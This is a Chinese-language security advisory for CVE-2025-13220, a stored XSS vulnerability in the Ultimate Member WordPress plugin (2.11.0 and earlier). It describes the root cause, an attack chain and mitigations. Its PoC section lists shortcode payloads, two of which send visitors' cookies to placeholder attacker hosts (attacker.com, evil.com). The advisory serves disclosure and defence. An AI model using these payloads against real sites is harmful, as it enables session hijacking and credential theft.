IPBUF安全漏洞报告
English
CVE-2025-13220 CVSS 6.4 中危

CVE-2025-13220: WordPress Ultimate Member插件存储型XSS漏洞

披露日期: 2025-12-21

漏洞信息

漏洞编号
CVE-2025-13220
漏洞类型
存储型XSS (Stored Cross-Site Scripting)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Ultimate Member WordPress插件 (User Profile, Registration, Login, Member Directory, Content Restriction & Membership Plugin)

相关标签

存储型XSSWordPress插件Ultimate Member短代码注入CVE-2025-13220Web安全身份认证绕过

漏洞概述

CVE-2025-13220是WordPress平台上一款知名用户管理插件Ultimate Member的安全漏洞。该插件被广泛应用于数百万WordPress网站,提供用户档案、注册、登录、会员目录和内容限制等功能。漏洞存在于插件的短代码(Shortcode)属性处理逻辑中,由于对用户输入的过滤和输出转义不充分,导致恶意脚本可被存储在数据库中。攻击者只需拥有Contributor(贡献者)级别权限即可利用此漏洞,在页面中注入任意JavaScript代码。当其他用户访问被注入的页面时,恶意脚本会自动执行,可能导致会话劫持、敏感信息窃取、管理员凭据泄露等严重后果。此漏洞影响范围广泛,所有使用该插件且版本在2.11.0及以下的WordPress网站均存在风险。

技术细节

该漏洞的核心问题在于Ultimate Member插件处理短代码(Shortcode)时未对用户可控的属性参数进行充分的输入验证和输出编码。攻击者可以通过在短代码中嵌入恶意JavaScript payload,当页面渲染时这些未转义的代码会被浏览器执行。具体攻击方式为:具有Contributor权限的认证用户在编辑文章或页面时,在Ultimate Member相关的短代码标签(如[ultimatemember_profile]、[ultimatemember_form]等)中添加事件处理器属性,例如onerror、onload或javascript:伪协议。漏洞代码位于includes/core/class-shortcodes.php文件的第525、542、558、591、625行附近,这些位置的短代码处理函数直接输出用户提供的属性值而未进行htmlspecialchars()等转义处理。攻击成功后,恶意脚本会随页面内容永久存储在数据库中,每次页面被访问都会执行,形成存储型XSS攻击。

攻击链分析

STEP 1
Reconnaissance
攻击者识别目标网站使用的WordPress版本和Ultimate Member插件版本,确认版本≤2.11.0
STEP 2
Authentication
攻击者获取WordPress账户,权限要求为Contributor(贡献者)级别或更高
STEP 3
Payload Crafting
构造包含恶意JavaScript的短代码属性,如在短代码标签中添加onerror、onload等事件处理器
STEP 4
Injection
在文章或页面编辑时插入恶意短代码,保存并发布页面,payload存储到数据库
STEP 5
Execution
受害者访问被注入的页面,浏览器解析HTML时执行存储的恶意脚本
STEP 6
Impact
攻击者通过XSS窃取用户会话Cookie、劫持账户、进行进一步权限提升或传播恶意内容

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- WordPress Ultimate Member Stored XSS PoC --> <!-- Author: Contributor+ level authenticated user --> <!-- Method 1: Using shortcode with event handler --> [ultimatemember_profile user_id="1" onerror="alert(document.cookie)"] <!-- Method 2: Using javascript: protocol in shortcode attribute --> [ultimatemember_button text="Click me" link="javascript:alert('XSS')"] <!-- Method 3: Image tag with onerror in profile field --> [ultimatemember_field id="user_avatar" alt='" onerror="fetch(\'https://attacker.com/log?c=\'+document.cookie)"'] <!-- Method 4: Stored XSS via form shortcode --> [ultimatemember form_id="123" template_id="<img src=x onerror=document.location='https://evil.com/steal.php?cookie='+document.cookie>"]

影响范围

Ultimate Member WordPress插件 <= 2.11.0

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时缓解措施:1)临时禁用Ultimate Member插件或使用替代插件;2)通过.htaccess或服务器配置限制对可疑请求的响应;3)禁用低权限用户(Contributor)创建和编辑页面的能力;4)部署Web应用防火墙(WAF)规则识别和拦截XSS payload;5)启用HTTP Security Headers如Content-Security-Policy;6)增加网站安全监控,及时发现异常行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表